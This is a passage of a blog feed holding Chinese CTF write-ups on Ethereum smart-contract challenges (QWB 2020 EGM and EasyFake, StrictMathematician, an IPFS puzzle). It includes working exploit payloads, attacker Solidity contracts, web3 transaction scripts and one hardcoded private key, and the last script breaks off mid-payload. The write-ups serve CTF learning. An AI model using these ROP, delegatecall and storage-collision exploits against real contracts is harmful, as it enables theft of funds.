10x60806040526040516020806102c08339810180604052810190808051906020019092919050505060006402540be4006305f5e1004281151561003d57fe5b0602600081905550600190505b601981111515610113578173ffffffffffffffffffffffffffffffffffffffff1660005460405180807f706c617928290000000000000000000000000000000000000000000000000000815250600601905060405180910390207c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af1935050505050808060010191505061004a565b8173ffffffffffffffffffffffffffffffffffffffff1660405180807f636f6c6c6563744d6567614a61636b706f742875696e74323536290000000000815250601b01905060405180910390207c010000000000000000000000000000000000000000000000000000000090046730927f74c9de00006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af19250505050505060d2806101ee6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a035b1fe14604b578063fc4333cd146073575b005b348015605657600080fd5b50605d6087565b6040518082815260200191505060405180910390f35b348015607e57600080fd5b506085608d565b005b60005481565b3373ffffffffffffffffffffffffffffffffffffffff16ff00a165627a7a72305820657390e5500a8446cf4b6fedd6a0ea0a1c3824339e44080120130ef94540ff5d0029000000000000000000000000428c0e1d593d7b85253f2dcf48bfb7626d7ce7e2 然后我把 Input Data 中换成我自己的题目合约地址就行了(在字节码的最后) 然后按照 create 计算地址方法,计算出我自己外部账户部署此攻击合约的地址 0xf297e7d46bdc54cdfa1cfda71e7ff0368f416705, 提前进行 ctf_challenge_add_authorized_sender 认证 12345678910import rlpfrom ethereum import utilsaddress = 0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2nonce = 413rlp_res = rlp.encode([address,nonce])print(rlp_res)sha3_res = utils.mk_contract_address(address,nonce)print(sha3_res)sha3_res_de = utils.decode_addr(sha3_res)print("contract_address: " + sha3_res_de) 最后将攻击合约部署即可 12345678910111213141516171819202122232425262728from web3 import Web3, HTTPProviderw3 = Web3(Web3.HTTPProvider('https://ropsten.infura.io/v3/xxxxxx'))contract_address = "0x428c0e1d593d7b85253f2dcf48bfb7626d7ce7e2"private = "xxx"public = "0x88D3052D12527F1FbE3a6E1444EA72c4DdB396c2"data = '0x60806040526040516020806102c08339810180604052810190808051906020019092919050505060006402540be4006305f5e1004281151561003d57fe5b0602600081905550600190505b601981111515610113578173ffffffffffffffffffffffffffffffffffffffff1660005460405180807f706c617928290000000000000000000000000000000000000000000000000000815250600601905060405180910390207c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af1935050505050808060010191505061004a565b8173ffffffffffffffffffffffffffffffffffffffff1660405180807f636f6c6c6563744d6567614a61636b706f742875696e74323536290000000000815250601b01905060405180910390207c010000000000000000000000000000000000000000000000000000000090046730927f74c9de00006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af19250505050505060d2806101ee6000396000f3006080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a035b1fe14604b578063fc4333cd146073575b005b348015605657600080fd5b50605d6087565b6040518082815260200191505060405180910390f35b348015607e57600080fd5b506085608d565b005b60005481565b3373ffffffffffffffffffffffffffffffffffffffff16ff00a165627a7a72305820657390e5500a8446cf4b6fedd6a0ea0a1c3824339e44080120130ef94540ff5d0029000000000000000000000000'data += '428c0e1d593d7b85253f2dcf48bfb7626d7ce7e2'def do_callme(public): txn = { 'from': Web3.toChecksumAddress(public), # 'to': Web3.toChecksumAddress(contract_address), 'gasPrice': w3.eth.gasPrice, 'gas': 3000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'value': Web3.toWei(1, 'ether'), 'data': data, } signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receiptprint(do_callme(public)) 完美,偷懒不愧是我,这里就不具体分析题目了,有兴趣的自行分析]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Solidity</tag>
<tag>Smart Contract</tag>
<tag>SecurityInnovatio</tag>
</tags>
</entry>
<entry>
<title><![CDATA[ctf区块链出题模板 docker部署]]></title>
<url>%2F2020%2Fblockchain-template%2F</url>
<content type="text"><![CDATA[ctf 区块链出题模板 docker 一键部署 个人喜欢的出题方式 部署合约的外部账户随机生成,每个选手都不一样,在一定程度上可防止“抄作业” 点我去查看]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>tools</tag>
</tags>
</entry>
<entry>
<title><![CDATA[调试evm字节码-radare2]]></title>
<url>%2F2020%2Fradare2%2F</url>
<content type="text"><![CDATA[前言 不经意发现的 radare2 也可以调试 EVM bytecode 可调试交易实时查看 stack 和 memory 信息 不断探索好用好玩的功能,不断更新 具体的指令及其操作就靠自己咯 使用如下命令连接到交易调试 1r2 -a evm -D evm "evm://localhost:8545@0x837f83456921c1f38605d87ed7850c0aa668ecce55efbedf9da21d712dd040fe" stack 栈顶在 0x00008fff 位置 memory 位置从 0x10000 开始,所以需要手工调整到 0x10000 ,可使用如下命令 1px 512 @ 0x10000]]></content>
<categories>
<category>tools</category>
</categories>
<tags>
<tag>tools</tag>
<tag>evm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[qwb2020 第四届强网杯线下赛区块链 EGM]]></title>
<url>%2F2020%2Fegm%2F</url>
<content type="text"><![CDATA[前言 第四届 qwb 线下赛 EGM 赛题 WP 考点是 Return Oriented Programming 借用工具 ida-evm 反汇编辅助分析 也可借助在线工具 https://www.trustlook.com/services/smart.html 反编译辅助分析 Source16210000060405260043610610073576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680638d715d9d1461024557806360fe47b11461031a5780636d4ce63c1461035557806335f4699414610372578063b4a99a4e1461038157610073565b610078565b600080fd600060006000600060005b61012061010052565b6101005190565b60206101005101806101005252565b6101005151602061010051036101005290565b61010052565b6100ca610100516100975b565b565b6100d66100a6565b6100de6100a6565b6100e7906100b9565b565b6100f1610087565b565b34156100cc57610078565b6101086000610097565b5b7f01000000000000000000000000000000000000000000000000000000000000006101005151602061010051035101510415610152575b60016101005151016101005152610109565b61015a6100a6565b6101626100a6565b506100ce565b6101726000610097565b5b6020610100510351610100515103156101d9577f0100000000000000000000000000000000000000000000000000000000000000610100515160606101005103510151046101005151604061010051035101535b60016101005151016101005152610173565b60006101005151604061010051035101535b60406101005151061561021c5760006101005151604061010051035101535b600161010051510161010051526101eb565b6102246100a6565b5061022d6100a6565b506102366100a6565b5061023f6100a6565b506100ce565b61024d6100e9565b6102576000610097565b610100516102656212345650565b36602462013000376102756100bf565b61028061034f610097565b61028c62013000610097565b61029581610097565b6102a160243603610097565b610168565b6102ae6100bf565b6102b96102c7610097565b6102c281610097565b6100fe565b6020610100510381602060408303526020820352602060208203510660208203510360200160400160408203f35b602061010051035161010051515561030b6100a6565b506103146100a6565b506100ce565b6103226100f3565b61032a6100bf565b61033561034f610097565b610340600435610097565b61034a6000610097565b6102f5565b60006000f35b61035d6100f3565b60005433146100785760005460805260206080f35b60665433141561007857606654ff5b6066543314156100785733606655005b505050505050505050505050505050505050505050505050505050505050505050505050505050 Analyse 使用 https://www.trustlook.com/services/smart.html 分析的结果如下 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218contract disassembler { function Backdoor() public return () { var1 = func_00000087(); return(); } function set() public return () { // Please refer to main() for the functionality, Function Hash: 60FE47B1 } function get() public return () { require(!msg.value); return(); } function die() public return () { // Please refer to main() for the functionality, Function Hash: 35F46994 } function Owner() public return () { // Please refer to main() for the functionality, Function Hash: B4A99A4E } function func_00000087() private return (var0) { mstore(0x100,0x120); return(var1); } function func_00000097( uint256 arg0) private return (var0) { temp0 = mload(0x100); mstore(0x100,(temp0 + 0x20)); mstore((temp0 + 0x20),arg0); return(var0); } function func_000000BF() private return (var0) { var4 = mload(0x100); var2 = func_00000097(var4); return(var1); } function func_000000A6() private return (var0) { temp12 = mload(0x100); temp14 = mload(temp12); temp13 = mload(0x100); mstore(0x100,(temp13 - 0x20)); return(temp14); } function func_000000B9( uint256 arg0) private return (var0) { mstore(0x100,arg0); return(var2); } function main() public return () { mstore(0x40,0x100000); if ((msg.data.length < 0x4)) {label_00000073:label_00000078: revert(0x0,0x0); } //ISSUE:COMMENT: Function Backdoor() else if ((0x8D715D9D == uint32((msg.data(0x0) / 0x100000000000000000000000000000000000000000000000000000000)))) { Backdoor(); var0 = func_00000097(0x0); calldatacopy(0x13000,0x24,msg.data.length); var1 = func_000000BF(); var1 = func_00000097(0x34F); var1 = func_00000097(0x13000); var1 = func_00000097(var1); var1 = func_00000097((msg.data.length - 0x24)); var1 = func_00000097(0x0);label_00000173: temp2 = mload(0x100); temp5 = mload((temp2 - 0x20)); temp3 = mload(0x100); temp4 = mload(temp3); if ((temp4 - temp5)) { temp22 = mload(0x100); temp25 = mload(temp22); temp23 = mload(0x100); temp24 = mload((temp23 - 0x60)); temp26 = mload((temp24 + temp25)); temp27 = mload(0x100); temp30 = mload(temp27); temp28 = mload(0x100); temp29 = mload((temp28 - 0x40)); mstore8((temp29 + temp30),(temp26 / 0x100000000000000000000000000000000000000000000000000000000000000)); temp31 = mload(0x100); temp32 = mload(temp31); temp33 = mload(0x100); mstore(temp33,(temp32 + 0x1)); goto label_00000173; } else { temp6 = mload(0x100); temp9 = mload(temp6); temp7 = mload(0x100); temp8 = mload((temp7 - 0x40)); mstore8((temp8 + temp9),0x0);label_000001EB: temp10 = mload(0x100); temp11 = mload(temp10); if (MOD(temp11,0x40)) { temp15 = mload(0x100); temp18 = mload(temp15); temp16 = mload(0x100); temp17 = mload((temp16 - 0x40)); mstore8((temp17 + temp18),0x0); temp19 = mload(0x100); temp20 = mload(temp19); temp21 = mload(0x100); mstore(temp21,(temp20 + 0x1)); goto label_000001EB; } else { var2 = func_000000A6(); var2 = func_000000A6(); var2 = func_000000A6(); var2 = func_000000A6(); var2 = func_000000A6(); var3 = func_000000A6(); var3 = 0xE7; var2 = func_000000B9(var3); } } } //ISSUE:COMMENT: Function set() else if ((0x60FE47B1 == var0)) { get(); var0 = func_000000BF(); var0 = func_00000097(0x34F); var0 = func_00000097(msg.data(0x4)); var0 = func_00000097(0x0); temp34 = mload(0x100); temp37 = mload((temp34 - 0x20)); temp35 = mload(0x100); temp36 = mload(temp35); sstore(temp36,temp37); var1 = func_000000A6(); var1 = func_000000A6(); var1 = func_000000A6(); var2 = func_000000A6(); var2 = 0xE7; var1 = func_000000B9(var2); } //ISSUE:COMMENT: Function get() else if ((0x6D4CE63C == var0)) { get(); if ((msg.sender == sload(0x0))) { goto label_00000078; } else { mstore(0x80,sload(0x0)); RETURN(0x80,0x20); } } //ISSUE:COMMENT: Function die() else if ((0x35F46994 == var0)) { if ((msg.sender == sload(0x66))) { //ISSUE:WARNING: SELFDESTRUCT is used to for the destruction selfdestruct(sload(0x66)); } else { goto label_00000078; } } //ISSUE:COMMENT: Function Owner() else if ((0xB4A99A4E == var0)) { if ((msg.sender == sload(0x66))) { sstore(0x66,msg.sender); stop(); } else { goto label_00000078; } } else { goto label_00000073; } }} 根据上面反编译结果及其 ida-evm 具体分析一下可以得到下面的伪代码 12345678910111213141516function get() public returns (address) { require(msg.value == 0); require(msg.sender != sload(0x0)); return sload(0x0);}function die() public { require(msg.sender == sload(0x66)); selfdestruct(sload(0x66));}function Owner() public { require(msg.sender == sload(0x66)); sstore(0x66,msg.sender); stop();} 根据反编译结果及其 ida-evm 具体分析 set 函数和 Backdoor 函数,可发现其利用 mem 实现了类堆栈操作,可总结如下: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576function stack_push(uint256 value) private { memory[0x100] = memory[0x100] + 0x20; memory[memory[0x100]+0x20] = value;}function stack_get(uint256 depth) private { return memory[memory[0x100] - depth*0x20];}function stack_pop() private returns (uint256 value) { value = memory[memory[0x100]]; memory[0x100] = memory[0x100] - 0x20;}function stack_push_frame() private { stack_push(memory[0x100]);}function stack_pop_frame() private returns (uint256 dest) { dest = stack_pop(); memory[0x100] = stack_pop();}function set(uint256 value) public { stack_push_frame(); stack_push(0x34f); stack_push(value); stack_push(0x00); set_ss();}function set_ss() private { sstore(stack_get(0x0),stack_get(1)); stack_pop(); stack_pop(); goto stack_pop_frame();}function Backdoor() public { memory[0x100] = 0x120; stack_push(0x00); var var1 = memory[0x100]; // 0x140 memcpy(memory[0x13000], msg.data[0x24], msg.data.length); stack_push_frame(); stack_push(irrelevant_lbl); stack_push(0x13000); stack_push(var1); stack_push(msg.data.length - 0x24); stack_push(0x00); copy_data(); memory[stack_get(2) + stack_get(0)] = 0x00; pad_data(); stack_pop(); stack_pop(); stack_pop(); stack_pop(); goto stack_pop_frame();}function copy_data() private { while (stack_get(0) - stack_get(1) != 0) { memory[stack_get(2) + stack_get(0)] = memory[stack_get(3) + stack_get(0)] >> 248; memory[memory[0x100]] = memory[memory[0x100]] + 0x01; }}function pad_data() private { while (stack_get(0) % 0x40 != 0) { memory[stack_get(2) + stack_get(0)] = 0x00; memory[memory[0x100]] = memory[memory[0x100]] + 0x01; }} 其中我们要使 set 对应的堆栈如下 123456789--------------------------------| stack frame set() |--------------------------------| address of 'return' gadget | |-------------------------------- | stack grows down| our address | V--------------------------------| 0x66 |-------------------------------- Backdoor 对应的堆栈如下 123456789101112131415----------------------------------| 0x00 | <---- this is 0x140----------------------------------| stack frame Backdoor() |----------------------------------| address of 'return' gadget | |---------------------------------- | stack grows down| 0x13000 | V----------------------------------| 0x140 |----------------------------------| msg.data.length - 0x24 |----------------------------------| 0x00 |---------------------------------- 当调用 Backdoor 时,它会将 msg.data[0x24:] 复制到内存 [0x140] 中。 这意味着如果我们的消息长于 0x20 字节,它将破坏堆栈,然后覆盖返回地址,以此类推。Backdoor 中将 payload 复制到内存 [0x13000] 中。 因此,我们可以简单地更新堆栈帧指针,并使其指向我们的堆栈所在的 0x13000 处 我们需要对 Backdoor 进行调用,msg.data[0x24:] 后的数据每 0x20 长度为一个单位,先是一个单位的 0 填充 0x140 位置,接着两个单位覆盖堆栈帧指针和返回地址。总的 msg.data 长度为 0x164 字节,所以 msg.data[24:] 长度为 0x140 字节,所以假堆栈帧指针指向 0x13120 。根据 set_ss 所在的位置,使用 0x2f5 作为返回位置。因为payload 是一次一个字节复制到 mem 中,所以在覆盖接下来的四个单位时需要注意:前三个是静态值,第四个是动态值(需要注意,此时的第三个单位要按照 0x40 长度对齐,所以第三个单位是0x140),此时 payload 如下所示: 123456789data = '0x8d715d9d'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000013120'data += '00000000000000000000000000000000000000000000000000000000000002f5'data += '0000000000000000000000000000000000000000000000000000000000013000'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '00000000000000000000000000000000000000000000000000000000000000df' 最后,可以构造 set_ss,并使用其对堆栈进行读取操作。首先指定 set_ss 的返回地址为0x34f能够正常结束;然后,指定要写入存储的值;最后指定要写入的存储槽 0x66 123000000000000000000000000000000000000000000000000000000000000034f0000000000000000000000008F348B14089Bc472DE7bC954F3ABB7e169C000010000000000000000000000000000000000000000000000000000000000000066 所以,总的 payload 如下所示: 123456789101112data = '0x8d715d9d'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000013120'data += '00000000000000000000000000000000000000000000000000000000000002f5'data += '0000000000000000000000000000000000000000000000000000000000013000'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '00000000000000000000000000000000000000000000000000000000000000df'data += '000000000000000000000000000000000000000000000000000000000000034f'data += '0000000000000000000000008F348B14089Bc472DE7bC954F3ABB7e169C00001'data += '0000000000000000000000000000000000000000000000000000000000000066' 最后调用 die 即可 Exp1234567891011121314151617181920212223242526272829303132333435363738from web3 import Web3, HTTPProviderw3 = Web3(Web3.HTTPProvider("http://192.168.100.8:8888"))contract_address = "0xcbfa6049c0a04031ac0335afe323e3f993856e76"private = "3669a3b95e09cdb89777d777d63147bd7357fcce9219ce1f8e465b86b1135c59"public = "0x8F348B14089Bc472DE7bC954F3ABB7e169C00001"data = '0x8d715d9d'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000000000'data += '0000000000000000000000000000000000000000000000000000000000013120'data += '00000000000000000000000000000000000000000000000000000000000002f5'data += '0000000000000000000000000000000000000000000000000000000000013000'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '0000000000000000000000000000000000000000000000000000000000000140'data += '00000000000000000000000000000000000000000000000000000000000000df'data += '000000000000000000000000000000000000000000000000000000000000034f'data += '0000000000000000000000008F348B14089Bc472DE7bC954F3ABB7e169C00001'data += '0000000000000000000000000000000000000000000000000000000000000066'def hack(public, data): txn = { 'from': Web3.toChecksumAddress(public), 'to': Web3.toChecksumAddress(contract_address), 'gasPrice': w3.eth.gasPrice, 'gas': 8000000, 'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)), 'data': data, } signed_txn = w3.eth.account.signTransaction(txn, private) txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex() txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash) print("txn_hash=", txn_hash) return txn_receiptprint(hack(public, data))print(hack(public, '0x35f46994'))]]></content>
<categories>
<category>qwb2020</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>qwb2020</tag>
</tags>
</entry>
<entry>
<title><![CDATA[第一届钓鱼城杯 strictmathematician WP]]></title>
<url>%2F2020%2Fstrictmathematician%2F</url>
<content type="text"><![CDATA[前言 第一届钓鱼城杯,2020线上智博会 strictmathmatician 的 WP 题目很简单,考察的其实是storage存储,主要涉及动态数组和map类型数据 题目没给的那部分代码其实只是对map(address)对应的数组长度的限制,如果题目分析的比较透彻,这部分是不会造成影响的,因为比赛只有一天,后来直接给了完整的源码 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108pragma solidity ^0.4.23;contract StrictMathematician { address owner; string private constant welcome = "Oh, fantansitic baby! I am a strict mathematician"; uint randomNumber = 0; uint createtime = now; constructor() public payable{ owner = msg.sender; } struct Target { function() internal callback; uint32 value; address origin; address sender; bytes12 hash; uint time; } Target[] Targets; struct FailLog { uint idx; address origin; uint time; bytes12 guessnum; address sender; } mapping(address => FailLog[]) FailLogs; event SendFlag(address addr); function start(bytes12 hash) public payable { Target target; target.origin = tx.origin; target.sender = msg.sender; target.hash = hash; require(msg.value == 1 ether); target.value += 1; Targets.push(target); } function guess(uint idx, bytes12 num) public { if (bytes12(keccak256(abi.encodePacked(num))) != Targets[idx].hash) { FailLog faillog; faillog.idx = idx; faillog.time = now; faillog.origin = tx.origin; faillog.sender = msg.sender; faillog.guessnum = num; FailLogs[msg.sender].push(faillog); } else { Target target = Targets[idx]; target.value += 1; } } function check(uint idx, uint tmp) public { uint maxlen = check_len(address(msg.sender)) + tmp * 3 / 4 ; require(uint(read_slot(uint(cal_mapaddr(uint(msg.sender),4)))) <= maxlen); require(tmp != 0); Target target = Targets[idx+tmp]; require(uint32(target.value+1)==0); target.callback(); } function payforflag() public payable { require(address(this).balance == 0); emit SendFlag(msg.sender); selfdestruct(msg.sender); } function read_slot(uint k) internal view returns (bytes32 res) { assembly { res := sload(k) } } function cal_mapaddr(uint k, uint p) internal pure returns(bytes32 res) { res = keccak256(abi.encodePacked(k, p)); } function cal_arrayaddr(uint p) internal pure returns(bytes32 res) { res = keccak256(abi.encodePacked(p)); } function check_len(address addr) internal pure returns(uint maxlen){ uint res = uint(cal_arrayaddr(uint(cal_mapaddr(uint(addr),4)))); uint sum = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; uint begin = uint(keccak256(abi.encodePacked(uint(3)))); uint distance; uint remainder; if (res>begin) { distance = res - begin; } else{ distance = sum - begin + res + 1; } remainder = distance % 3; if (remainder==0) { maxlen = 1; } else if (remainder==1) { maxlen = 3; } else { maxlen = 2; } }} Analyse 调用 start(0x000000000000000000000000) 调用 guess(0, 0xffffffff0000000000000153) 一次 计算 target = kecaak256(keccak256(addr|4))+3 计算 base = keccak256(3) distance = (2**256-base+target) % (2**256), idx = distance // 3 若 distance % 3 = 0, 则 idx = idx 若 distance % 3 = 1, 则 idx += 4 ,调用 guess(0, 0xffffffff0000000000000153) 两次 若 distance % 3 = 2, 则 idx += 2 ,掉用 guess(0, 0xffffffff0000000000000153) 一次 调用 guess(0, 0xffffffff0000000000000153) 三次 调用 check(idx, 4) ,其中 tmp 为 4 的倍数,在调用 check 之前需调用 guess(0, 0xffffffff0000000000000153) 的次数为 tmp*3/4]]></content>
<categories>
<category>钓鱼城杯</category>
</categories>
<tags>
<tag>Blockchain</tag>
<tag>钓鱼城杯</tag>
</tags>
</entry>
<entry>
<title><![CDATA[qwb2020 第四届强网杯线上赛区块链]]></title>
<url>%2F2020%2Fqwb2020%2F</url>
<content type="text"><![CDATA[前言 第四届 qwb,blockchains 的 WP,勿喷 题目考查的点子也不是很新,勿喷2333 随时欢迎大家来交流,别喷就好,谢谢 没有官方 WP ,我只是自己写着玩 IPFS 题目考查的是最近很火的 IPFS ,不过很简单,考查的是 IPFS 存储规则计算的相关知识,不过题目可能描述的不清楚,导致有些选手不明白 hash 是什么意思2333,再加上最后找到两张图片,可是提交的 flag 不对,导致选手以为是脑洞题目,自己在那猜 hash 到底是什么,其实并不是,是因为 pic1 被指定大小分块存储了,所以你直接按照一个块计算的 cid 结果不对,在此说声抱歉,其实 hash 就是文件的 cid,出题的时候没有考虑到这一点,所以题目目的不是为了脑洞,在此解释一下,不过看了绝大多数队伍的 WP 发现他们理解的没有偏差,我也不明白为什么 需要了解一下 IPFS 是如何计算文件 hash 的,即 cid,简化总结为:原始数据添加元数据封装成 IPFS 文件 -> 计算 SHA2-256 -> 封装成 multihash -> 转换成 Base58 所以对于 pic2.jpg ,我们计算它的 multihash 然后转 Base58 即可,可使用如下脚本计算 12import base58print base58.b58encode_int(int("1220659c2a2c3ed5e50f848135eea4d3ead3fa2607e2102ae73fafe8f82378ce1d1e", 16)) 计算结果为 QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 ,所以我们直接访问 https://ipfs.io/ipfs/QmVBHzwuchpfHLxEqNrBb3492E73DHE99yFCxx1UYcJ6R3 即可 对于 pic1.jpg ,考查的是 IPFS 文件的碎片化存储,IPFS 默认规则是文件所占空间大于 256kb 就会被切分成小块,每一块小于或等于 256kb 。不过我们上传时可以指定碎片化的大小,使用 -s size-? 参数即可,题目是把 pic1.jpg 碎片化成了 6 个 block ,分别给出了它们的文件 hash 值,所以我们只需要将其拼成一张图片即可,排列组合即可(可以先找到文件头所在的 block 和文件尾所在的 block ,对剩余 4 个 block 排列组合) 排列组合的脚本如下,3.jpg 便是 pic1.jpg 1234567891011121314import osimport itertoolsl = ["QmZkF524d8HWfF8k2yLrZwFz9PtaYgCwy3UqJP5Ahk5aXH", "Qme7fkoP2scbqRPaVv6JEiaMjcPZ58NYMnUxKAvb2paey2", "QmU59LjvcC1ueMdLVFve8je6vBY48vkEYDQZFiAbpgX9mf", "QmfUbHZQ95XKu9vd5XCerhKPsogRdYHkwx8mVFh5pwfNzE"]index = 1for i in itertools.permutations('0123', 4): os.system("ipfs cat QmXh6p3DGKfvEVwdvtbiH7SPsmLDfL7LXrowAZtQjkjw73 >> ./ipfs/{}.jpg".format(index)) for j in i: print j os.system("ipfs cat " + l[int(j)] + " >> ./ipfs/{}.jpg".format(index)) os.system("ipfs cat QmXFSNiJ8BdbUKPAsu3oueziyYqeYhi3iyQPXgVSvqTBtN >> ./ipfs/{}.jpg".format(index)) print(index) index = index + 1 得到信息 flag=flag{md5(hash1+hash2)} ,所以我们需要找到 hash1 ,很简单,只需要我们重新上传一下 pic1.jpg 即可,size 的大小可以根据分块 block 对应的文件的大小获得 1ipfs add -s size-26624 pic1.jpg 得到 hash1 = QmYjQSMMux72UH4d6HX7tKVFaP27UzC65cRchbVAsh96Q7 flag=flag{md5(hash1+hash2)}=flag{35fb9b3fe44919974a02c26f34369b8e} EasyFake 思路来自 rw2018 首席的题目,觉得点子很好,直接把首席题目的点子拿了过来23333,勿喷,简化版 可以借助 ida-evm 等工具查看其函数调用图及其细节 薅羊毛是送分的,考点是 delegatecall ,直接介绍利用思路 Source1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495pragma solidity ^0.4.23;contract EasyFake { uint public qwb_version = 4; mapping(address => uint) public balanceOf; mapping(address => uint) public status; string public constant hello = "Welcome to S4 of qwb! Enjoy yourself :D"; uint private constant randomNumber = 0; event SendFlag(address addr); constructor() public { assembly { sstore(0x1234, 0x4804a623) } } modifier onlyHuman{ uint size; address addr = msg.sender; assembly { size := extcodesize(addr) } require(size==0); _; } function gift() public payable { require(status[msg.sender]==0); balanceOf[msg.sender] += 10; status[msg.sender] = 1; } function transferbalance(address to,uint amount) public { require(balanceOf[msg.sender]>=amount); balanceOf[msg.sender]-=amount; balanceOf[to]+=amount; } function payforflag(string s) public payable onlyHuman { require(keccak256(abi.encodePacked(s)) == keccak256("iloveqwb")); if (balanceOf[msg.sender]>=1000 && msg.value == 1 ether) { assembly { mstore(0x800, 0x1234) mload(0x800) dup1 mstore(0x2000, 0x06ee) mload(0x2000) and(caller, 0xffff) jump pop pop pop } } else { selfdestruct(msg.sender); } } function backdoor() public { assembly { mstore(0x2000,0x20) mload(0x2000) mstore(0x2000,0x0) mstore(0x2100,0x1234) mload(0x2100) mstore(0x2100,0) sload(extcodesize(caller)) mstore(0x20, sload(0x1234)) mstore(0x5000,0x3c) mload(0x5000) mstore(0x5000, 0x0) calldataload(0x7e) gas calldataload(0x5e) jump pop pop pop pop pop pop } } function() public payable {}} Analyse 对上述源码编译生成的字节码进行了一些改动,完整的字节码可在链上查找到 题目要求触发 SendFlag 事件,可是并没有 SendFlag ,所以需要 delegatecall ,这个意图应该很明显 对于 backdoor 函数,其函数栈如下所示,会跳转到 calldataload(0x5e) ,这个很明显,我们要跳转到 delegatecall 的位置,查看字节码,可以找到位置为 0x740 ,所以 calldataload(0x5e:0x7e)=0x740 。并且设置了 memory[0x20,0x40]=sload(0x1234)=0x4804a623 ,可在https://www.4byte.directory/查询到是 getflag() 函数 1234567calldataload(0x5e) 栈顶gasRemainingcalldataload(0x7e)0x3c0x40x12340x20 栈底 0x740 位置代码为 5bf45056,即如下 1234JUMPDESTdelegatecallpopjump delegatecall 参数对应栈如下,所以 calldataload(0x7e:0x9e)为delegatecall 调用的 hack 合约地址,memory[0x3c:0x40]=0x4804a623 ,即调用 hack 合约中的 getflag() 函数,返回值保存在 memory[0x1234:0x1234+0x20] 中 123456gas gasRemainingaddr calldataload(0x7e)argsOffset 0x3cargsLength 0x4retOffset 0x1234retLength 0x20 栈底 调用完函数栈为空,但此时有个 jump ,要跳转到哪里呢,我们向上找,发现 payforflag 里面有一些操作,栈详情如下,存在一个任意 caller 控制的跳转 1234caller & 0xffff0x6ee0x12340x1234 假设跳转到 backdoor 位置,即 0x06f2 ,即要求 caller 最低四字节为 0x06f2 ,结合上面的分析,上述执行完 delegatecall 之后会跳转到 0x6ee ,查看 0x6ee 处的字节码是 5b510156 ,操作码如下 1234JUMPDESTMLOADADDJUMP 此时栈变成了下面这样,即会跳转到 mload(0x1234)+0x1234 ,此时栈为空,而 123addmload(0x1234)0x1234 为了保持栈平衡,我们需要跳转到 stop 的位置,正常结束并维持栈平衡,可以找到 0x2c1 位置,即 mload(0x1234)+0x1234=0x2c1 即可,即要求 hack 合约中的 getflag() 函数返回值为 0x2c1-0x1234=0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff08d Exp 使用下面代码薅羊毛,转到地址最后四字节为 0x06f2 12345678910111213141516contract father { constructor() public { for (uint i=0; i<100; i++) { son ason = new son(); } }}contract son { constructor() public { EasyFake tmp = EasyFake(0x742eB40659c7Dae2CD436B9E2741696a2F622DB2); tmp.gift(); tmp.transferbalance(address(0x15697F62095549B50F2897F6840D36aB1e0b06f2),10); }} 部署 hack 合约,作为 delegatecall 参数 1234567contract hack { event SendFlag(address addr); function getflag() payable public returns(uint256) { emit SendFlag(msg.sender); return 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff08d; }} 使用最后四字节 0x06f2 的这个账户调用 payforflag 函数,根据如上分析,payload 如下所示 12345678910111213141516171819202122232425262728293031323334from web3 import Web3, HTTPProviderw3 = Web3(Web3.HTTPProvider('https://ropsten.infura.io/v3/xxxxxxxxxxx'))# contract_instance = web3.eth.contract(address=config['address'], abi=config['abi'])contract_address = "0x742eB40659c7Dae2CD436B9E2741696a2F622DB2"private = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"public = "0x15697F62095549B50F2897F6840D36aB1e0b06f2"data = '0x6bc344bc'data += '0000000000000000000000000000000000000000000000000000000000000020'data += 